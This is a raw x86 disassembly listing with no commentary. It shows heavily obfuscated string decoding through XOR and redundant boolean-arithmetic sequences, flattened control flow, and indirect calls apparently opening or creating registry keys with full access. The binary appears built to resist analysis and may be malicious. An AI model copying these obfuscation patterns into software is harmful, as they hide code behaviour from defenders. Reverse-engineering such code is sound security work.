xor dl, 0xff
or cl, dl
mov byte [0x101cf7c9], cl
mov dl, byte [0x101cf7bc]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0xe6
mov dh, 0xff
xor dh, 0xe6
and ch, dh
or cl, ch
xor cl, 0xff
or dl, 0xe6
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov byte [0x101cf7ca], cl
mov cl, byte [0x101cf7bd]
xor cl, 0xcc
mov byte [0x101cf7cd], cl
mov dh, byte [str._H_t]
mov cl, dh
xor cl, 0xff
and cl, 0x1e
mov ch, 0xff
xor ch, 0x1e
and dh, ch
mov dl, 0xff
xor dl, 0x29
and dl, 0x1e
and ch, 0x29
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cf7ce], cl
mov cl, byte [0x101cf810]
xor cl, 0x72
mov byte [0x101cf831], cl
mov cl, byte [0x101cf811]
xor cl, 0x77
mov byte [0x101cf834], cl
mov cl, byte [0x101cf812]
mov dl, cl
xor dl, 0x90
xor dl, 0xff
and dl, 0x90
shl dl, 1
sub dl, 0x90
sub cl, dl
mov byte [0x101cf835], cl
mov cl, byte [0x101cf813]
mov dl, cl
and dl, 0x55
shl dl, 1
add cl, 0x55
sub cl, dl
mov byte [0x101cf836], cl
mov cl, byte [0x101cf814]
mov dl, cl
and dl, 0x1b
shl dl, 1
add cl, 0x1b
sub cl, dl
mov byte [0x101cf837], cl
mov dl, byte [0x101cf815]
mov cl, dl
xor cl, 0xff
and cl, 0xef
mov ch, 0xff
xor ch, 0xef
and dl, ch
or cl, dl
mov byte [0x101cf839], cl
mov cl, byte [0x101cf816]
xor cl, 0x34
mov byte [0x101cf83a], cl
mov cl, byte [0x101cf817]
mov dl, cl
and dl, 0xe7
shl dl, 1
add cl, 0xe7
sub cl, dl
mov byte [0x101cf83b], cl
mov dh, byte [0x101cf818]
mov cl, dh
xor cl, 0xff
and cl, 0x30
mov ch, 0xff
xor ch, 0x30
and dh, ch
mov dl, 0xff
xor dl, 0x26
and dl, 0x30
and ch, 0x26
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cf83c], cl
mov cl, byte [0x101cf819]
xor cl, 0x9b
mov byte [0x101cf83d], cl
mov dl, byte [0x101cf81a]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0x54
or ch, 0x54
xor ch, 0xff
or cl, ch
xor cl, 0xff
or dl, 0x54
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cf83e], cl
mov dl, byte [0x101cf81b]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0x4f
or ch, 0x4f
xor ch, 0xff
or cl, ch
xor cl, 0xff
xor dl, 0xff
mov ch, 0xff
xor ch, 0x4f
and dl, ch
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cf83f], cl
mov dh, byte [0x101cf81c]
mov cl, dh
xor cl, 0xff
and cl, 0xfa
mov ch, 0xff
xor ch, 0xfa
and dh, ch
mov dl, 0xff
xor dl, 0xc6
and dl, 0xfa
and ch, 0xc6
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cf840], cl
mov cl, byte [0x101cf81d]
xor cl, 0xd5
mov byte [0x101cf842], cl
mov cl, byte [0x101cf81e]
xor cl, 0xde
mov byte [0x101cf843], cl
mov cl, byte [0x101cf81f]
xor cl, 0xfd
mov byte [0x101cf844], cl
mov cl, byte [0x101cf820]
xor cl, 0x12
mov byte [0x101cf845], cl
mov cl, byte [0x101cf821]
mov dl, cl
xor dl, 0x6f
xor dl, 0xff
and dl, 0x6f
shl dl, 1
sub dl, 0x6f
sub cl, dl
mov byte [0x101cf846], cl
mov cl, byte [0x101cf822]
xor cl, 0x75
mov byte [0x101cf848], cl
mov dl, byte [0x101cf874]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xa3
or ch, 0xa3
xor ch, 0xff
or cl, ch
xor cl, 0xff
or dl, 0xa3
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cf87e], cl
mov cl, byte [0x101cf875]
xor cl, 0x1a
mov byte [0x101cf87f], cl
mov cl, byte [0x101cf876]
xor cl, 0xad
mov byte [0x101cf880], cl
mov dl, byte [0x101cf877]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0x6a
xor cl, 0xff
mov ch, 0xff
xor ch, 0x6a
mov dh, 0xff
xor dh, 0x6a
or ch, dh
xor dl, 0xff
xor ch, 0xff
or dl, ch
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cf881], cl
mov cl, byte [0x101cf878]
xor cl, 0xf
mov byte [0x101cf882], cl
mov cl, byte [0x101cf879]
xor cl, 0xd
mov byte [0x101cf883], cl
mov cl, byte [0x101cf87a]
xor cl, 0x92
mov byte [0x101cf884], cl
mov cl, byte [0x101cf87b]
xor cl, 0x38
mov byte [0x101cf885], cl
mov cl, byte [0x101cf87c]
xor cl, 0x99
mov byte [0x101cf886], cl
mov cl, byte [0x101cf87d]
xor cl, 0x1f
mov byte [0x101cf887], cl
mov cl, byte [0x101cf7d9]
xor cl, 0xc7
mov byte [0x101cf7e1], cl
mov cl, byte [0x101cf7da]
xor cl, 0x1e
mov byte [0x101cf7e2], cl
mov cl, byte [0x101cf7db]
xor cl, 0xfb
mov byte [0x101cf7e4], cl
mov dh, byte [0x101cf7dc]
mov cl, dh
xor cl, 0xff
and cl, 7
mov ch, 0xff
xor ch, 7
and dh, ch
mov dl, 0xff
xor dl, 0xce
and dl, 7
and ch, 0xce
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cf7e6], cl
mov cl, byte [0x101cf7dd]
xor cl, 0xb7
mov byte [0x101cf7e7], cl
mov cl, byte [0x101cf7de]
mov dl, cl
and dl, 0xa8
shl dl, 1
add cl, 0xa8
sub cl, dl
mov byte [0x101cf7e9], cl
mov cl, byte [0x101cf7df]
xor cl, 0xfd
mov byte [0x101cf7eb], cl
mov cl, byte [0x101cf7e0]
xor cl, 0xf6
mov byte [0x101cf7ec], cl
mov dh, byte [0x101cf7ed]
mov cl, dh
xor cl, 0xff
and cl, 0x79
mov ch, 0xff
xor ch, 0x79
and dh, ch
mov dl, 0xff
xor dl, 0xbc
and dl, 0x79
and ch, 0xbc
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cf7f9], cl
mov cl, byte [0x101cf7ee]
xor cl, 0xef
mov byte [0x101cf7fa], cl
mov cl, byte [0x101cf7ef]
mov dl, cl
and dl, 0xe9
shl dl, 1
add cl, 0xe9
sub cl, dl
mov byte [0x101cf7fc], cl
mov dl, byte [0x101cf7f0]
mov cl, dl
xor cl, 0xff
and cl, 0x8f
mov ch, 0xff
xor ch, 0x8f
and dl, ch
or cl, dl
mov byte [0x101cf7fd], cl
mov dl, byte [0x101cf7f1]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
xor cl, 0xff
mov ch, 0xff
xor ch, 0x1c
or cl, ch
mov ch, 0x1c
and ch, 0x1c
xor ch, 0xff
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cf7fe], cl
mov dl, byte [0x101cf7f2]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0x63
or ch, 0x63
xor ch, 0xff
xor cl, 0xff
xor ch, 0xff
and cl, ch
xor dl, 0xff
mov ch, 0xff
xor ch, 0x63
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [0x101cf7ff], cl
mov cl, byte [0x101cf7f3]
xor cl, 0xe6
mov byte [0x101cf800], cl
mov cl, byte [0x101cf7f4]
xor cl, 0x6f
mov byte [0x101cf801], cl
mov cl, byte [0x101cf7f5]
xor cl, 0x4c
mov byte [0x101cf802], cl
mov cl, byte [0x101cf7f6]
mov dl, cl
xor dl, 0x46
xor dl, 0xff
and dl, 0x46
shl dl, 1
sub dl, 0x46
sub cl, dl
mov byte [0x101cf803], cl
mov cl, byte [0x101cf7f7]
xor cl, 0x58
mov byte [0x101cf804], cl
mov cl, byte [str.dXiw]
xor cl, 0x64
mov byte [0x101cf806], cl
mov dword [eax], 0x30ad6511
jmp 0x1010b712
mov ecx, dword [ebp - 0x70]
mov edx, dword [ebp - 0x74]
mov eax, dword [0x101d4b04]
mov esi, closesocket
xor edi, edi
sub esp, 0x24
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x20], 0
call eax
mov ecx, dword [ebp - 0x78]
mov edx, eax
mov eax, dword [ebp - 0x1c]
mov dword [ecx], edx
mov dword [eax], 0x7d973fc0
jmp 0x1010b712
mov eax, dword [ebp - 0x1c]
mov ecx, dword [0x101d4c98]
mov dword [eax], 0x691f8ba1
jmp 0x1010b712
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x9fc355d1
jmp 0x1010b712
mov eax, dword [ebp - 0x1c]
mov dl, byte [0x101cf791]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0x5e
xor cl, 0xff
mov ch, 0x5e
and ch, 0x5e
xor ch, 0xff
xor dl, 0xff
xor ch, 0xff
or dl, ch
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cf7a0], cl
mov dl, byte [0x101cf792]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xdb
or ch, 0xdb
xor ch, 0xff
xor cl, 0xff
xor ch, 0xff
and cl, ch
or dl, 0xdb
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov byte [0x101cf7a2], cl
mov cl, byte [0x101cf793]
mov dl, cl
xor dl, 0x66
xor dl, 0xff
and dl, 0x66
shl dl, 1
sub dl, 0x66
sub cl, dl
mov byte [0x101cf7a3], cl
mov cl, byte [0x101cf794]
xor cl, 0x16
mov byte [0x101cf7a4], cl
mov dl, byte [0x101cf795]
mov cl, dl
xor cl, 0xff
and cl, 0x92
mov ch, 0xff
xor ch, 0x92
and dl, ch
or cl, dl
mov byte [0x101cf7a6], cl
mov cl, byte [0x101cf796]
xor cl, 0xb4
mov byte [str.qe_d], cl
mov cl, byte [0x101cf797]
xor cl, 0xb
mov byte [0x101cf7a8], cl
mov cl, byte [0x101cf798]
xor cl, 0xea
mov byte [0x101cf7a9], cl
mov cl, byte [0x101cf799]
xor cl, 0xd5
mov byte [0x101cf7ab], cl
mov cl, byte [0x101cf79a]
xor cl, 0x50
mov byte [0x101cf7ac], cl
mov cl, byte [0x101cf79b]
xor cl, 0x7c
mov byte [0x101cf7ad], cl
mov cl, byte [0x101cf79c]
xor cl, 0x94
mov byte [0x101cf7ae], cl
mov dl, byte [0x101cf79d]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0x23
mov dh, 0xff
xor dh, 0x23
and ch, dh
or cl, ch
xor cl, 0xff
xor dl, 0xff
mov ch, 0xff
xor ch, 0x23
and dl, ch
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cf7af], cl
mov cl, byte [0x101cf79e]
xor cl, 0x95
mov byte [0x101cf7b0], cl
mov dl, byte [str.ko]
mov cl, dl
and cl, cl
xor cl, 0xff
xor cl, 0xff
mov ch, 0xff
xor ch, 0x2a
or cl, ch
mov ch, 0xff
xor ch, 0x2a
mov dh, 0xff
xor dh, 0x2a
or ch, dh
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cf7b1], cl
mov dl, byte [0x101cf7cf]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0x3d
mov dh, 0xff
xor dh, 0x3d
and ch, dh
or cl, ch
xor cl, 0xff
xor dl, 0xff
mov ch, 0xff
xor ch, 0x3d
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [str.t_rMI], cl
mov cl, byte [0x101cf7d0]
xor cl, 0x32
mov byte [0x101cf7d5], cl
mov cl, byte [0x101cf7d1]
mov dl, cl
and dl, 0xaa
shl dl, 1
add cl, 0xaa
sub cl, dl
mov byte [0x101cf7d6], cl
mov cl, byte [0x101cf7d2]
mov dl, cl
xor dl, 0xa7
xor dl, 0xff
and dl, 0xa7
shl dl, 1
sub dl, 0xa7
sub cl, dl
mov byte [0x101cf7d7], cl
mov cl, byte [0x101cf7d3]
mov dl, cl
xor dl, 0xc6
xor dl, 0xff
and dl, 0xc6
shl dl, 1
sub dl, 0xc6
sub cl, dl
mov byte [0x101cf7d8], cl
mov cl, byte [0x101cf888]
xor cl, 0x5d
mov byte [0x101cf893], cl
mov dh, byte [0x101cf889]
mov cl, dh
xor cl, 0xff
and cl, 0x1f
mov ch, 0xff
xor ch, 0x1f
and dh, ch
mov dl, 0xff
xor dl, 0xbc
and dl, 0x1f
and ch, 0xbc
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cf894], cl
mov cl, byte [0x101cf88a]
xor cl, 0xda
mov byte [0x101cf895], cl
mov dl, byte [0x101cf88b]
mov cl, dl
xor cl, 0xff
and cl, 0xba
mov ch, 0xff
xor ch, 0xba
and dl, ch
or cl, dl
mov byte [0x101cf896], cl
mov cl, byte [0x101cf88c]
xor cl, 0x89
mov byte [0x101cf897], cl
mov dl, byte [0x101cf88d]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
and cl, 0x2a
xor cl, 0xff
mov ch, 0x2a
and ch, 0x2a
xor ch, 0xff
xor dl, 0xff
xor ch, 0xff
or dl, ch
and cl, dl
xor cl, 0xff
mov byte [str.hLrP], cl
mov cl, byte [0x101cf88e]
xor cl, 0x9b
mov byte [0x101cf899], cl
mov cl, byte [0x101cf88f]
xor cl, 0x7b
mov byte [0x101cf89b], cl
mov cl, byte [0x101cf890]
mov dl, cl
xor dl, 0x5c
xor dl, 0xff
and dl, 0x5c
shl dl, 1
sub dl, 0x5c
sub cl, dl
mov byte [0x101cf89c], cl
mov cl, byte [0x101cf891]
xor cl, 0x35
mov byte [0x101cf89e], cl
mov dl, byte [0x101cf892]
mov cl, dl
xor cl, 0xff
and cl, 0xe7
mov ch, 0xff
xor ch, 0xe7
and dl, ch
or cl, dl
mov byte [0x101cf89f], cl
mov cl, byte [0x101cf849]
xor cl, 0xda
mov byte [0x101cf850], cl
mov dh, byte [0x101cf84a]
mov cl, dh
xor cl, 0xff
and cl, 0xff
mov ch, 0xff
xor ch, 0xff
and dh, ch
mov dl, 0xff
xor dl, 0x2c
and dl, 0xff
and ch, 0x2c
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cf851], cl
mov dh, byte [0x101cf84b]
mov cl, dh
xor cl, 0xff
and cl, 0x6b
mov ch, 0xff
xor ch, 0x6b
and dh, ch
mov dl, 0xff
xor dl, 0x85
and dl, 0x6b
and ch, 0x85
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cf852], cl
mov dl, byte [0x101cf84c]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xff
xor ch, 0x16
mov dh, 0xff
xor dh, 0x16
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
or dl, 0x16
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov byte [str.2eri], cl
mov cl, byte [0x101cf84d]
xor cl, 0xf8
mov byte [0x101cf857], cl
mov dl, byte [0x101cf84e]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
and cl, 0x35
xor cl, 0xff
mov ch, 0x35
and ch, 0x35
xor ch, 0xff
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cf858], cl
mov cl, byte [0x101cf84f]
xor cl, 0x11
mov byte [str.V_HX], cl
mov cl, byte [0x101cf85a]
xor cl, 0x77
mov byte [0x101cf867], cl
mov dl, byte [0x101cf85b]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0x29
or ch, 0x29
xor ch, 0xff
or cl, ch
xor cl, 0xff
xor dl, 0xff
mov ch, 0xff
xor ch, 0x29
and dl, ch
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cf868], cl
mov cl, byte [0x101cf85c]
mov dl, cl
xor dl, 0x2e
xor dl, 0xff
and dl, 0x2e
shl dl, 1
sub dl, 0x2e
sub cl, dl
mov byte [0x101cf869], cl
mov cl, byte [0x101cf85d]
xor cl, 0xa0
mov byte [0x101cf86a], cl
mov dl, byte [0x101cf85e]
mov cl, dl
xor cl, 0xff
and cl, 0x13
mov ch, 0xff
xor ch, 0x13
and dl, ch
or cl, dl
mov byte [0x101cf86b], cl
mov cl, byte [0x101cf85f]
xor cl, 0x1b
mov byte [0x101cf86c], cl
mov dl, byte [0x101cf860]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xff
xor ch, 0xe1
mov dh, 0xff
xor dh, 0xe1
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
or dl, 0xe1
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov byte [0x101cf86d], cl
mov dl, byte [0x101cf861]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xff
xor ch, 0xf3
mov dh, 0xff
xor dh, 0xf3
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
or dl, 0xf3
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov byte [0x101cf86e], cl
mov cl, byte [0x101cf862]
mov dl, cl
xor dl, 0x22
xor dl, 0xff
and dl, 0x22
shl dl, 1
sub dl, 0x22
sub cl, dl
mov byte [0x101cf86f], cl
mov cl, byte [0x101cf863]
mov dl, cl
xor dl, 0xb6
xor dl, 0xff
and dl, 0xb6
shl dl, 1
sub dl, 0xb6
sub cl, dl
mov byte [0x101cf870], cl
mov cl, byte [0x101cf864]
xor cl, 0x88
mov byte [0x101cf871], cl
mov dl, byte [0x101cf865]
mov cl, dl
xor cl, 0xff
and cl, 0x2e
mov ch, 0xff
xor ch, 0x2e
and dl, ch
or cl, dl
mov byte [0x101cf872], cl
mov cl, byte [0x101cf866]
xor cl, 0x2a
mov byte [0x101cf873], cl
mov cl, byte [0x101cf7b2]
xor cl, 0x25
mov byte [0x101cf7c0], cl
mov cl, byte [0x101cf7b3]
xor cl, 0x69
mov byte [0x101cf7c1], cl
mov cl, byte [0x101cf7b4]
mov dl, cl
and dl, 0xc3
shl dl, 1
add cl, 0xc3
sub cl, dl
mov byte [0x101cf7c2], cl
mov cl, byte [0x101cf7b5]
xor cl, 0x8a
mov byte [0x101cf7c3], cl
mov cl, byte [0x101cf7b6]
xor cl, 0x5c
mov byte [0x101cf7c4], cl
mov dl, byte [0x101cf7b7]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xff
xor ch, 0x48
mov dh, 0xff
xor dh, 0x48
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
xor dl, 0xff
mov ch, 0xff
xor ch, 0x48
and dl, ch
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cf7c5], cl
mov cl, byte [0x101cf7b8]
xor cl, 0x9a
mov byte [0x101cf7c6], cl
mov cl, byte [0x101cf7b9]
xor cl, 0x8c
mov byte [0x101cf7c7], cl
mov cl, byte [0x101cf7ba]
xor cl, 4
mov byte [0x101cf7c8], cl
mov cl, byte [0x101cf7bb]
xor cl, 0x7f
mov byte [0x101cf7c9], cl
mov dl, byte [0x101cf7bc]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xe6
or ch, 0xe6
xor ch, 0xff
xor cl, 0xff
xor ch, 0xff
and cl, ch
or dl, 0xe6
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cf7ca], cl
mov cl, byte [0x101cf7bd]
mov dl, cl
and dl, 0xcc
shl dl, 1
add cl, 0xcc
sub cl, dl
mov byte [0x101cf7cd], cl
mov cl, byte [str._H_t]
mov dl, cl
and dl, 0x29
shl dl, 1
add cl, 0x29
sub cl, dl
mov byte [0x101cf7ce], cl
mov cl, byte [0x101cf810]
mov dl, cl
and dl, 0x72
shl dl, 1
add cl, 0x72
sub cl, dl
mov byte [0x101cf831], cl
mov dl, byte [0x101cf811]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0x77
xor cl, 0xff
mov ch, 0x77
and ch, 0x77
xor ch, 0xff
xor dl, 0xff
xor ch, 0xff
or dl, ch
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cf834], cl
mov cl, byte [0x101cf812]
xor cl, 0x90
mov byte [0x101cf835], cl
mov cl, byte [0x101cf813]
xor cl, 0x55
mov byte [0x101cf836], cl
mov cl, byte [0x101cf814]
mov dl, cl
xor dl, 0x1b
xor dl, 0xff
and dl, 0x1b
shl dl, 1
sub dl, 0x1b
sub cl, dl
mov byte [0x101cf837], cl
mov cl, byte [0x101cf815]
xor cl, 0xef
mov byte [0x101cf839], cl
mov cl, byte [0x101cf816]
xor cl, 0x34
mov byte [0x101cf83a], cl
mov cl, byte [0x101cf817]
xor cl, 0xe7
mov byte [0x101cf83b], cl
mov dl, byte [0x101cf818]
mov cl, dl
and cl, cl
xor cl, 0xff
xor cl, 0xff
mov ch, 0xff
xor ch, 0x26
or cl, ch
mov ch, 0xff
xor ch, 0x26
mov dh, 0xff
xor dh, 0x26
or ch, dh
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x101cf83c], cl
mov dl, byte [0x101cf819]
mov cl, dl
xor cl, 0xff
and cl, 0x9b
mov ch, 0xff
xor ch, 0x9b
and dl, ch
or cl, dl
mov byte [0x101cf83d], cl
mov cl, byte [0x101cf81a]
mov dl, cl
and dl, 0x54
shl dl, 1
add cl, 0x54
sub cl, dl
mov byte [0x101cf83e], cl
mov cl, byte [0x101cf81b]
xor cl, 0x4f
mov byte [0x101cf83f], cl
mov dl, byte [0x101cf81c]
mov cl, dl
xor cl, 0xff
and cl, 0xc6
mov ch, 0xff
xor ch, 0xc6
and dl, ch
or cl, dl
mov byte [0x101cf840], cl
mov cl, byte [0x101cf81d]
xor cl, 0xd5
mov byte [0x101cf842], cl
mov cl, byte [0x101cf81e]
xor cl, 0xde
mov byte [0x101cf843], cl
mov cl, byte [0x101cf81f]
xor cl, 0xfd
mov byte [0x101cf844], cl
mov dh, byte [0x101cf820]
mov cl, dh
xor cl, 0xff
and cl, 0x6a
mov ch, 0xff
xor ch, 0x6a
and dh, ch
mov dl, 0xff
xor dl, 0x12
and dl, 0x6a
and ch, 0x12
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cf845], cl
mov cl, byte [0x101cf821]
xor cl, 0x6f
mov byte [0x101cf846], cl
mov cl, byte [0x101cf822]
mov dl, cl
xor dl, 0x75
xor dl, 0xff
and dl, 0x75
shl dl, 1
sub dl, 0x75
sub cl, dl
mov byte [0x101cf848], cl
mov cl, byte [0x101cf874]
xor cl, 0xa3
mov byte [0x101cf87e], cl
mov dl, byte [0x101cf875]
mov cl, dl
and cl, cl
xor cl, 0xff
xor cl, 0xff
mov ch, 0xff
xor ch, 0x1a
or cl, ch
mov ch, 0x1a
and ch, 0x1a
xor ch, 0xff
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x101cf87f], cl
mov cl, byte [0x101cf876]
xor cl, 0xad
mov byte [0x101cf880], cl
mov cl, byte [0x101cf877]
xor cl, 0x6a
mov byte [0x101cf881], cl
mov cl, byte [0x101cf878]
xor cl, 0xf
mov byte [0x101cf882], cl
mov dh, byte [0x101cf879]
mov cl, dh
xor cl, 0xff
and cl, 2
mov ch, 0xff
xor ch, 2
and dh, ch
mov dl, 0xff
xor dl, 0xd
and dl, 2
and ch, 0xd
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cf883], cl
mov dh, byte [0x101cf87a]
mov cl, dh
xor cl, 0xff
and cl, 0x8f
mov ch, 0xff
xor ch, 0x8f
and dh, ch
mov dl, 0xff
xor dl, 0x92
and dl, 0x8f
and ch, 0x92
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cf884], cl
mov cl, byte [0x101cf87b]
mov dl, cl
and dl, 0x38
shl dl, 1
add cl, 0x38
sub cl, dl
mov byte [0x101cf885], cl
mov dl, byte [0x101cf87c]
mov cl, dl
xor cl, 0xff
and cl, 0x99
mov ch, 0xff
xor ch, 0x99
and dl, ch
or cl, dl
mov byte [0x101cf886], cl
mov cl, byte [0x101cf87d]
mov dl, cl
and dl, 0x1f
shl dl, 1
add cl, 0x1f
sub cl, dl
mov byte [0x101cf887], cl
mov dl, byte [0x101cf7d9]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0xc7
xor cl, 0xff
mov ch, 0xc7
and ch, 0xc7
xor ch, 0xff
xor dl, 0xff
xor ch, 0xff
or dl, ch
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cf7e1], cl
mov cl, byte [0x101cf7da]
mov dl, cl
and dl, 0x1e
shl dl, 1
add cl, 0x1e
sub cl, dl
mov byte [0x101cf7e2], cl
mov cl, byte [0x101cf7db]
xor cl, 0xfb
mov byte [0x101cf7e4], cl
mov cl, byte [0x101cf7dc]
mov dl, cl
and dl, 0xce
shl dl, 1
add cl, 0xce
sub cl, dl
mov byte [0x101cf7e6], cl
mov dl, byte [0x101cf7dd]
mov cl, dl
xor cl, 0xff
and cl, 0xb7
mov ch, 0xff
xor ch, 0xb7
and dl, ch
or cl, dl
mov byte [0x101cf7e7], cl
mov cl, byte [0x101cf7de]
xor cl, 0xa8
mov byte [0x101cf7e9], cl
mov cl, byte [0x101cf7df]
mov dl, cl
xor dl, 0xfd
xor dl, 0xff
and dl, 0xfd
shl dl, 1
sub dl, 0xfd
sub cl, dl
mov byte [0x101cf7eb], cl
mov dl, byte [0x101cf7e0]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0xf6
mov dh, 0xff
xor dh, 0xf6
and ch, dh
or cl, ch
xor cl, 0xff
or dl, 0xf6
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cf7ec], cl
mov cl, byte [0x101cf7ed]
xor cl, 0xbc
mov byte [0x101cf7f9], cl
mov dh, byte [0x101cf7ee]
mov cl, dh
xor cl, 0xff
and cl, 0x5b
mov ch, 0xff
xor ch, 0x5b
and dh, ch
mov dl, 0xff
xor dl, 0xef
and dl, 0x5b
and ch, 0xef
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cf7fa], cl
mov dl, byte [0x101cf7ef]
mov cl, dl
xor cl, 0xff
and cl, 0xe9
mov ch, 0xff
xor ch, 0xe9
and dl, ch
or cl, dl
mov byte [0x101cf7fc], cl
mov cl, byte [0x101cf7f0]
mov dl, cl
and dl, 0x8f
shl dl, 1
add cl, 0x8f
sub cl, dl
mov byte [0x101cf7fd], cl
mov dh, byte [0x101cf7f1]
mov cl, dh
xor cl, 0xff
and cl, 0x6d
mov ch, 0xff
xor ch, 0x6d
and dh, ch
mov dl, 0xff
xor dl, 0x1c
and dl, 0x6d
and ch, 0x1c
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cf7fe], cl
mov dh, byte [0x101cf7f2]
mov cl, dh
xor cl, 0xff
and cl, 0x6c
mov ch, 0xff
xor ch, 0x6c
and dh, ch
mov dl, 0xff
xor dl, 0x63
and dl, 0x6c
and ch, 0x63
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cf7ff], cl
mov cl, byte [0x101cf7f3]
xor cl, 0xe6
mov byte [0x101cf800], cl
mov cl, byte [0x101cf7f4]
xor cl, 0x6f
mov byte [0x101cf801], cl
mov cl, byte [0x101cf7f5]
xor cl, 0x4c
mov byte [0x101cf802], cl
mov dl, byte [0x101cf7f6]
mov cl, dl
xor cl, 0xff
and cl, 0x46
mov ch, 0xff
xor ch, 0x46
and dl, ch
or cl, dl
mov byte [0x101cf803], cl
mov cl, byte [0x101cf7f7]
xor cl, 0x58
mov byte [0x101cf804], cl
mov dl, byte [str.dXiw]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
and cl, 0x64
xor cl, 0xff
mov ch, 0x64
and ch, 0x64
xor ch, 0xff
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cf806], cl
mov dword [eax], 0xb9ca828e
jmp 0x1010b712
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x238a4ee0
jmp 0x1010b712
mov dword [0x101d4c98], 1
push eax
mov eax, esp
mov dword [ebp - 0x130], eax
sub esp, 0x64
mov esi, esp
mov dword [ebp - 0x134], esi
push eax
mov eax, esp
mov dword [ebp - 0x12c], eax
push eax
sub esp, 0x104
mov eax, esp
mov dword [ebp - 0x128], eax
push eax
mov eax, esp
mov dword [ebp - 0x124], eax
lea ecx, [0x101d49d8]
add ecx, 0x18
lea eax, [0x101d49d8]
add eax, 0x2c
lea edx, str._s_s
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.100938b0
mov edx, dword [ebp - 0x134]
mov ecx, dword [ebp - 0x130]
add esp, 0x10
mov eax, dword [0x101d4b00]
mov esi, closesocket
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 0x10], ecx
call eax
